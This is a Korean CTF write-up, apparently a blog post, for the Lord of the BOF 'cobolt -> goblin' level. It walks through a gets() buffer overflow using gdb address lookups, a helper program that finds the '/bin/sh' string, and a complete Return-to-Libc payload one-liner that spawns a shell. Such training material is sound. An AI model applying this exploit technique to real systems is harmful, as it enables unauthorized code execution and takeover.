/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

 

이번 문제는 작은 크기의 buffer 에 gets() 함수로 사용자에게 입력을 받고 있다.

이전 문제 풀이와 똑같이 RTL 공격 기법을 사용할 것이다.

 

RTL에 대한 설명은 아래 링크에 설명되어 있다.

https://lactea.kr/entry/bof-Return-to-Libc-RTL-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B2%95?category=866608

 

[bof] - Return to Libc (RTL) 공격 기법

0x01 What is it? RTL 공격은 스택에 NX-bit 보안 기법이 적용 되었을때 사용하는 공격 기법이다. NX란 Never eXecutable stack 을 줄인 말로 "스택에서 코드 실행 불가" 라는 보안 역할을 한다. NX-bit 때문에 스..

lactea.kr

 

아래 명령어 처럼 goblin 바이너리 파일을 copy 해서 gdb로 까본다.

[cobolt@localhost cobolt]$mkdir tmp
[cobolt@localhost cobolt]$ cp goblin ./tmp/goblin_copy                                                                   
[cobolt@localhost cobolt]$ cd tmp
[cobolt@localhost tmp]$ ls
goblin_copy
[cobolt@localhost tmp]$ gdb -q goblin_copy 
(gdb) 

 

 

 

main 함수에 breakpoint를 건 다음, 실행해서 p system 명령어로 system 함수의 주소를 찾는다.

system() 함수의 주소는 0x40058ae0이다.

(gdb) b *main
Breakpoint 1 at 0x80483f8
(gdb) r
Starting program: /home/cobolt/tmp/goblin_copy 

Breakpoint 1, 0x80483f8 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) 

 

/bin/sh 문자열을 찾기 위해 아래 c코드를 컴파일 해서 /bin/sh 문자열의 주소를 찾는다.

#include <stdio.h>
#include <stdlib.h>

int main(int argc,char *argv[]) {
        long shell;
        shell = 0x40058ae0;
        while(memcmp((void*)shell,("/bin/sh"),8)) shell++;
        printf("%p\n",shell);
}

위 코드를 컴파일 해서 실행한 결과 0x400fbff9 임을 알 수 있다.

[cobolt@localhost tmp]$ ./getString 
0x400fbff9

 

따라서 stack에 넣을 값은 아래와 같다.

[Dummy Code(20bytes)] + [system addr] + [AAAA] + [/bin/sh addr]

 

이번 문제는 gets() 함수로 값을 입력 받기 때문에 아래 처럼 (python -c 'print "A"';cat) | ./goblin 으로 해야 된다.

아래처럼 shell을 획득한 것을 볼 수 있다.

[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'; cat)|./goblin
AAAAAAAAAAAAAAAAAAAA@AAAA@


whoami
goblin
my-pass
euid = 503
hackers proof

 

 

 

 

 

'CTF > LOB' 카테고리의 다른 글

[LOB] - wolfman -> darkelf 풀이  (0) 2019.10.04
[LOB] - orc -> wolfman 풀이  (0) 2019.10.04
[LOB] - goblin -> orc 풀이  (0) 2019.10.04
[LOB] - cobolt -> goblin 풀이  (0) 2019.10.04
[LOB] - gremlin -> cobolt 풀이  (0) 2019.10.04
[LOB] - gate -> gremlin 풀이  (0) 2019.10.04